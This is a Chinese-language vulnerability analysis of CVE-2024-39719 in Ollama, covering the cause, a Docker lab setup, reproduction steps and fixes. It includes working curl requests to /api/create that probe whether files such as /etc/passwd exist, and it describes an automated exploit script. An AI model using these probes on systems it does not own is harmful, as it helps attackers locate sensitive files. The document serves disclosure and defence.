Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 详细分析
字数 864 2025-08-29 22:41:10
Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 技术分析文档
漏洞概述
CVE-2024-39719 是影响 Ollama 0.3.14 及之前版本的文件存在性泄露漏洞,发布日期为2024年10月31日。该漏洞允许攻击者通过API接口探测服务器上特定文件是否存在,可能导致敏感信息泄露。
漏洞技术细节
漏洞原理
漏洞存在于 /api/create 端点中,当调用 CreateModel API 并传递路径参数时:
- 服务器会根据路径是否存在返回不同的错误消息
- 核心问题是未正确处理用户输入,直接暴露了文件系统错误信息
影响范围
- 影响版本:Ollama 0.3.14 及之前所有版本
漏洞危害
- 作为复杂攻击的前置信息收集步骤
- 探测关键配置文件、证书或敏感数据文件
- 辅助进行针对性攻击
- 确认特定用户存在或系统特征
漏洞复现
环境搭建
使用Docker Compose创建受影响环境:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
启动命令:
docker compose up -d
复现步骤
- 测试不存在的文件
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
返回结果:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
- 测试存在的文件(如/etc/passwd)
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
返回结果:
{"error":"no FROM line for the model was specified"}
- 自动化利用脚本
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
脚本工作流程:
- 通过
/api/version检查Ollama版本 - 构造payload以POST方式发送到目标服务器
- 分析响应判断文件存在性
- 关键特征:"no such file or directory"
漏洞修复方案
官方修复措施
- 统一错误处理,避免泄露文件存在性信息
- 对用户输入路径进行严格验证和过滤
- 使用通用错误消息,不暴露文件系统详情
修复建议
- 升级版本:升级到最新Ollama版本
- 访问控制:限制API接口访问权限
- 网络隔离:将服务部署在隔离网络中
- 监控:加强对
/api/create端点的异常访问检测
资源链接
- 利用脚本:GitHub仓库
注意事项
- 不同版本可能返回不同错误消息
- 该漏洞虽然看似简单,但可能成为更严重攻击的跳板
- 建议在测试环境中验证漏洞后再进行修复
本技术文档提供了从漏洞原理到实际利用的完整技术细节,安全团队可根据此文档进行漏洞验证和修复工作。